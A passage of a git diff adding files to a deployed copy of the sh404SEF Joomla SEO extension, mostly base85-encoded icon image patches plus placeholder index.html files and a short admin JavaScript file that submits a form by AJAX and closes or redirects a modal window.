zaWo@KENieOGD>M}oTRy-Lu-AfjJvJh+5hDSW>)awVt6eJz3h6_h`%qiyx$xDC#E)3 zWko(Hkd>jX5|T7R#~Q5_QcI+ebT`Jl=1pU~@U6ovo)~Qm8Y#3QNxLD?B2Xzol1yUa z6go}Pbt%cZ?!*86(AOWolzrd|>q7hPeL|b8{LjJ3-WvxePq5+VrZKfaX-SkuM3F{C z3Z)c63IwB^=+Kh~nR{V~6rOb*#l(2T#CSrx-M|D*j-=EPu9cEZv>!KR`HnAt{I

    W8P1mlsx8?Epo_;AP7keb*ZJZBFbNFZ;HK4r~3iZAJEz~2}0q+C}%QD1KZS={*eWW69y?1I!b7C zTC^wIG$z`pb_%T&It{Lw?()8y+tEaQ=;k}`yz}u#9(iQ`JU$o2m$cBKLx*_ci6{Q( zs;jQL_u6Z()k2JZVmT`^gy~9$71iNZSeH zQ!U0PTQtTRB;ACYUe)4F*ELDBz!<~+{reZPEPLNwcir{XOIc{m(&FswEKfiE^oOG; z`n#PwcSM zDYxy2*fy?^^4x%|>ze)h_xD?^*6nxPamTZqw|K3@YnB!tfBf<3nVFfV_w3m-l_beI z@}q(?E`V`RRGuHr!~TVsqw|LO!*f71Dmw+11W0tO=(IIEH%j(ymTX%mXlRI*Hv2-H z6VdDSc<#C9zIoG4H@)rp>#tvPO9`tiWXF#m->0>nvesg)J$pk4qy3F>Fh7JN^M;;J zY1akQv1e+!Nj9`pMU4*%DFv~1beooL%h5(r4B@o!v=c}*D9Ouu0YE8r+rfhe_W;kV z#&bCrT6yuTg-)M7y=!c2jQRO_q9__ok3tXvR8BCv5IA+Frf`zn)#No)Mqr#oAc&-+ z?)3=>oRX9#LYjzBN$Om%*b;0R_e?ZBkpw9q1dp{AV+FCl6mt-@6fFFh^@taa3-L0V6*^3*vD z+lFpj6M`GH6-EMJ?b(Ir_H6axo%{_U`l8WlAg`9IZ=h(h|I~U`2Sr*!} zXHPyD3^;l6B#lM`Aq0ae!I?lKZ6f28b}NQB#fpTY5)2E0tR+bzX~zk{FIRLeGFWt| z(Rd;eqnrmWeb}(Z|<+)cV!lun3(wP^z`%}>;-a451YWBc~)Y}vAfiHV6v zLI{V~vd|^pksUa2;7!iCM-Lo05D&5;hfXZgX|?Ef#zCdTX+o4H=r~&1geyj62{Fn? zmg+;n1-x@8EKwXVbwyQ{6nVig%g6>9N(-jfcWAX*Y}&Nxu=oD8H{N*T-1)Xyi7)FN z*$;pC!`~D_eEQ6pGx0)JqqQO*W(cLxaf*y$qBuq`l|rN#<%VG?qY6IY{iw9)jX_5N zV{6L1B+D`g&}ny&5+*w_jYi{ywf0@N+;YqJF2(J#)9I(4dg_iSiXO}>J3TB)#>YA& zaYSVud0AncLurLv7O<2v;g`!Rqm7R>4iOx2qES*KLSUE;sp^WcZkr?$|5a7hhilyF`_s+OFS?t8IBrRu5^L- zfvPMRW&?)9;iyU-MMx><2=1?)sqTO4Ti=?m_0%uc18d&265n^ZG)ifdQZyPV%|??Xi3xDnIsSfeSUvoq_wJjy zQa(S`oBB_D;uG!3$;n@mQvR|r=9a3ew&i&~k>@#CmXT!{N-4(2$LV&vv|26SY&K8C zar_gl^|#Bi{L1|N{8RVbbC12C<;#p${HFeVVRzqsciLz)#*Hx(MNw?7s%ok%OD(0O z*=&}LMq|F+ZqEXXd7dwR@{^ymYdoMU#V-?axmaEy{%P7;75_hjr(ra+#`5X_0000< KMNUMnLSTYhm>41e literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-sh404sef-logo.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-48-sh404sef-logo.png new file mode 100644 index 0000000000000000000000000000000000000000..1e8ee6506085e954cdeb1cac1ce77fdd81a97fe2 GIT binary patch literal 1410 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 GoB9{gRawjc literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/menu-icon-sh404sef.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/menu-icon-sh404sef.png new file mode 100644 index 0000000000000000000000000000000000000000..8546a292c10003310cf38ac16750b3f07f295778 GIT binary patch literal 692 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 Dtx2`~ literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/sh-ajax-loader.gif b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/sh-ajax-loader.gif new file mode 100644 index 0000000000000000000000000000000000000000..6515f7ff3376161759af76cd178bc75dbcd41b88 GIT binary patch literal 404 zcmZ?wbhEHb)Mnsj_{hNU|NsBG%F6wF_X0`9|J;7AA;Hd$0j@@R2F#2M3=E3@q@0UV z6H8K46v{J8G87WC5-W1@6I1ju^V0Ge6o0aCasgH805Jo|Kn5nGmOhTt({A2q{(O{6 z`d--Q)2$E8+9Dzsrm5H7o3(E_Pr9z>_4ZSGzm9DFX}4p6f{~9X&=O2zY>xnqQQ%KZ z-Z-n}_?nu}GZOE8?@5_4WB#dyUd~02&u(1%QiX35W2%T$e#EERzEggeAI;K9 z3Oc?XyNMu&830XOIV&srPW~f)F5&H!4=a0?Tv@PU7vD1OL$7_3%{rf-JooZv(5xA2 zOwSnfxSx9YX(rIb73;8?=m7QVj48X=rRz5S+L`LJ!eqX?T%cBo`q6bOfAeiLo4s{z m|KClIC#E>ZzI~?cRd&KvSYS_r(m4UqUrZtl4A!7<0|Nj};+P2l literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/assets/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/edit.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/edit.js new file mode 100644 index 00000000..f9459c21 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/edit.js @@ -0,0 +1,70 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +function shAjaxHandler(task, options, closewindow) { + + var form = document.id('adminForm'); + form.task.value = task; + + // Create a progress indicator + var update = document.id("sh-message-box").empty(); + update.set("html", "
     
    "); + document.id("sh-error-box").empty(); + + // Set the options of the form"s Request handler. + var onSuccessFn = function(response, responseXML) { + //alert(response); + var root, status, message; + try { + root = responseXML.documentElement; + status = root.getElementsByTagName("status").item(0).firstChild.nodeValue; + message = root.getElementsByTagName("message").item(0).firstChild.nodeValue; + } catch (err) { + status = 'failure'; + message = "
    • Sorry, something went wrong on the server while performing this action. Please retry or cancel
    "; + } + + // remove progress indicator + var update = document.id("sh-message-box").empty(); + + // insert results + if (status == "success") { + update.set("html", message); + if (closewindow) { + setTimeout("window.parent.SqueezeBox.close()", 1500); + } else { + setTimeout("document.id('sh-message-box').empty()", 3000); + } + } else if (status == 'redirect') { + setTimeout("parent.window.location='" + message + "';", 100); + window.parent.shReloadModal = false; + window.parent.SqueezeBox.close(); + } else { + document.id('sh-error-box').set("html", message); + } + + }; + + // Send the form. + form.set( 'send', {url: 'index.php', method: 'post', onSuccess: onSuccessFn}); + form.send(); +} + +Joomla.submitbutton = function(pressbutton) { + if (pressbutton == "cancel") { + window.parent.shReloadModal = false; + window.parent.SqueezeBox.close(); + } + if (pressbutton == "back") { + window.parent.shReloadModal = true; + window.parent.SqueezeBox.close(); + } +}; \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j2_cp.full.js b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j2_cp.full.js new file mode 100644 index 00000000..ae719d19 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/js/j2_cp.full.js @@ -0,0 